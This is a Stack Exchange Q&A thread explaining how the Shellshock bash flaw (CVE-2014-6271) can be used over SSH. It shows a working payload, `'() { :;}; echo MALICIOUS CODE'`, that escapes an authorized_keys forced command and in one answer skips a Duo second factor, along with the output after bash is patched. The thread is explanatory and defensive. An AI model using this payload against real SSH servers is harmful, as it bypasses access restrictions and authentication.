current community

your communities

more stack exchange communities

Stack Exchange
tour help
Take the 2-minute tour ×
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems.. It's 100% free, no registration required.
up vote 34 down vote favorite
12

Apparently, the shellshock Bash exploit CVE-2014-6271 can be exploited over the network via SSH. I can imagine how the exploit would work via Apache/CGI, but I cannot imagine how that would work over SSH?

Can somebody please provide an example how SSH would be exploited, and what harm could be done to the system?

CLARIFICATION

AFAIU, only an authenticated user can exploit this vulnerability via SSH. What use is this exploit for somebody, who has legitimate access to the system anyway? I mean, this exploit does not have privilege escalation (he cannot become root), so he can do no more than he could have done after simply logging in legitimately via SSH.

share|improve this question
    
Simply put, it cannot be done, unless someone has already access to your box. A new bash shell is only executed after a succesful login attempt. –  Evert yesterday
    
Its all mostly media hype, it can happen but it is not as bad as made out to be. –  jgr208 yesterday
    
Do usernames go verbatim into the logs? If yes, maybe there exists a logparsing bash script that is vulnerable somewhere... –  PlasmaHH 18 hours ago

3 Answers 3

up vote 40 down vote accepted

One example where this can be exploited is on servers with an authorized_keys forced command. When adding an entry to ~/.ssh/authorized_keys, you can prefix the line with command="foo" to force foo to be run any time that ssh public key is used. With this exploit, if the target user's shell is set to bash, they can take advantage of the exploit to run things other than the command that they are forced to.

This would probably make more sense in example, so here is an example:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Here we set up a user testuser, that forces any ssh connections using your ssh key to run echo starting sleep; sleep 1.

We can test this with:

$ ssh testuser@localhost echo something else
starting sleep

Notice how our echo something else doesn't get run, but the starting sleep shows that the forced command did run.

Now lets show how this exploit can be used:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

This works because sshd sets the SSH_ORIGINAL_COMMAND environment variable to the command passed. So even though sshd ran sleep, and not the command I told it to, because of the exploit, my code still gets run.

share|improve this answer
up vote 19 down vote

Expanding on the example from Ramesh - if you use two factor authentication, it is possible to bypass the second factor using this exploit, depending on how it is implemented.

— Normal Login — 

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— Running code without 2FA — 

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

You'll notice it ran the code without prompting for 2FA.

— After patching bash —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
share|improve this answer
    
Just to limit panic of eventual readers using second factor: "depending how it is implemented" - I suppose you've assumed that second factor here is implemented in bash or uses read function. Otherwise - user is safe. –  Grzegorz Wierzowiecki 10 hours ago
up vote 13 down vote

Shellshock is a vulnerability on bash, not on SSH. In order to exploit it, an attacker needs to cause the vulnerable system to run bash, and to control the value of an environment variable that will be passed to bash.

In order to reach a bash process through SSH, the attacker needs to pass the authentication steps. (There can be attack vectors through other network services, but they are beyond the scope of this thread.) If the account is allowed to run arbitrary shell commands anyway, there is no attack. The vulnerability comes into play if the account is restricted to run specific commands: for example, an SFTP-only account, or a git-only account, etc.

There are several ways to restrict an account to run a specific command with SSH: with the ForceCommand option in sshd_config, or with a command=. restriction in the authorized_keys file. If the user's shell is bash, then the Shellshock vulnerability allows a user who would normally have access only to the restricted account to bypass the restriction and execute arbitrary commands.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.